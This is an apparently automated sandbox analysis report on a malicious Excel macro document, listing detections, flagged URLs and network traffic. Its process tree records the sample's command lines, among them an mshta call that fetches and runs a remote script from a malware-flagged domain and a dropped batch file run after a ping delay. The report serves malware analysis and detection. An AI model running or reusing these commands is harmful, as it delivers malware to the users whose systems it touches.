Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300 (renamed file extension from 3300 to xls)
Analysis ID:	684693
MD5:	6a50db57cd89b13482023a5a67e5c89d
SHA1:	c121420f9604e2101e9d1f8de7d8676d817c22f7
SHA256:	dac74ef0e89ee9ed60e53adf867cb9d4d73e5976b9b87daabf113a7f44ed681f
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Stores large binary data to the registry

Document contains an embedded VBA macro which executes code when the document is opened / closed

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Installs a global mouse hook

Creates a window with clipboard capturing capabilities

Uses taskkill to terminate processes

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2556 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

cmd.exe (PID: 2924 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

PING.EXE (PID: 916 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)

cmd.exe (PID: 2876 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

taskkill.exe (PID: 2244 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)

mshta.exe (PID: 2152 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Virustotal: Detection: 49%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Metadefender: Detection: 29%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	ReversingLabs: Detection: 41%

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204170	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css.css6~Ojp	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt~	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3http://facextrad	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20tion	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/xmlrpc.php	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssacket	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417a	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.csse	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: facextrade.com.br	Virustotal: Detection: 5%			Perma Link
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	Virustotal: Detection: 5%			Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe

Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: netdna.bootstrapcdn.com
Source: global traffic	DNS query: name: translate.google.com
Source: global traffic	DNS query: name: storage.ie6countdown.com

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.22:49179
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
